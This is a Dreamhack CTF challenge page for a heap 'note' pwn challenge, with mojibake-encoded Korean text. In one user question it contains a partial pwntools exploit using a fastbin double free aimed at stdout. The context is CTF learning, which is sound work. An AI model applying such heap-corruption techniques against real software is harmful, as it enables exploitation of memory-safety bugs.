• ๋ฌธ์ œ ์ •๋ณด
  • ํ’€์ด 31
  • ๋‚œ์ด๋„ ํˆฌํ‘œ 27
  • ์งˆ๋ฌธ 1
  • ์ตœ๊ทผ ํ’€์ด์ž 105
  • ๋Œ“๊ธ€ 3
ํ•ด๋‹น ๋ฌธ์ œ๋Š” Dreamhack CTF Season 6 Round #1 (๐ŸšฉDiv1) ์— ์ถœ์ œ๋œ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

๋ฌธ์ œ ์„ค๋ช…

Description

Classic note challenge ๐Ÿ—’๏ธ

๋‚œ์ด๋„ ํˆฌํ‘œ 27

์งˆ๋ฌธ 1

๋ฌธ์ œ ํ’€์ด์— ์–ด๋ ค์›€์ด ์žˆ์œผ์‹ ๊ฐ€์š”?
์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๋ฌธ์ œ์— ๋Œ€ํ•œ ์งˆ๋ฌธํ•˜๊ณ  ๋‹ต๋ณ€ ์–ป๊ธฐ
๋ฌธ์ œ ํ’€์ด ์งˆ๋ฌธ ์žˆ์Šต๋‹ˆ๋‹ค.
from pwn import * p = process('./note', env = {'LD_PRELOAD' : './libc.so.6'}) e = ELF('./note') libc = ELF('./libc.so.6') def create(idx, size, payload): p.sendlineafter('> ', str(1)) p.sendlineafter(': ', str(idx)) p.sendlineafter(': ', str(size)) p.sendlineafter(': ', payload) def read(idx): p.sendlineafter('> ', str(2)) p.sendlineafter(': ', str(idx)) p.recvuntil(': ') return int.from_bytes(p.recvline()[:-1], byteorder='little') def delete(idx): p.sendlineafter('> ', str(4)) p.sendlineafter(': ', str(idx)) for a in range(8): create(a, 20, b'a') for b in range(8): delete(b) for c in range(3): create(c, 20, b'a') stdout = e.symbols['stdout'] delete(0) delete(1) delete(0) create(c, 20, p64(stdout)) pause() p.interactive() fastbin duplication์ด๋ผ์„œ tcachebin์„ ๋‹ค ์ฑ„์šด ๋’ค์— ์ƒˆ๋กœ ์„ธ ๊ฐœ๋ฅผ ํ• ๋‹นํ•ด์„œ double free๊นŒ์ง€ ํ•˜๋Š” ๋ฐ๋Š” ์„ฑ๊ณตํ–ˆ๋Š”๋ฐ, ๊ทธ ๋’ค์— stdout ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด๋ณด๋ ค ํ–ˆ๋Š”๋ฐ ๊ฐ’์ด ์ž๊พธ ์ด์ƒํ•˜๊ฒŒ ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค. image.png ์›๋ž˜๋ผ๋ฉด 0x404080์ด ์—ฐ๊ฒฐ๋˜์–ด์•ผ ํ•˜๋Š”๋ฐ, ์™œ ์ด๋ ‡๊ฒŒ ๋‚˜์˜ค๋Š” ๊ฑธ๊นŒ์š”?
avatar Garden_

์ถœ์ œ์ž ์ •๋ณด

avatar
Dreamhack
๋Œ€ํ‘œ ์—…์  ์—†์Œ

First Blood!

wlswotmd
2024 Invitational Winners
์ถœ์ œ๋œ ์ง€ 43๋ถ„ ๋งŒ์— ํ’€์ด ์™„๋ฃŒ!

์ตœ๊ทผ ํ’€์ด์ž 105

eigen
๊ฐ•์˜ ์ˆ˜๊ฐ•: 10
naha
์‹œ์Šคํ…œ ํ•ดํ‚น ์ „๋ฌธ๊ฐ€
arag5
๋Œ€ํ‘œ ์—…์  ์—†์Œ
leak
๋Œ€ํ‘œ ์—…์  ์—†์Œ
avatar
slruk
๋Œ€ํ‘œ ์—…์  ์—†์Œ
n0ha
.HACK 2025 ์ฐธ๊ฐ€์ž
wh1te4ever
๋Œ€ํ‘œ ์—…์  ์—†์Œ
avatar
5o1z
๋Œ€ํ‘œ ์—…์  ์—†์Œ
avatar
Director-2ut
๊ฐ•์˜ ์ˆ˜๊ฐ•: 1
avatar
patawang
์ƒˆ์‹น

๋Œ“๊ธ€ 3

avatar
z3rodae0
์‹œ๋‹ˆ์–ด
safe note
csh22101
์›Œ๊ฒŒ์ž„: 1
heap์—๋„ ๊ตฌํ•ด์•ผ ํ•  base๊ฐ€??????????
fr0m1s9
Perfect 10
์ƒˆ๋กญ๊ฒŒ ์•Œ๊ฒŒ ๋œ ๋‚ด์šฉ์ด ๋งŽ๋‹ค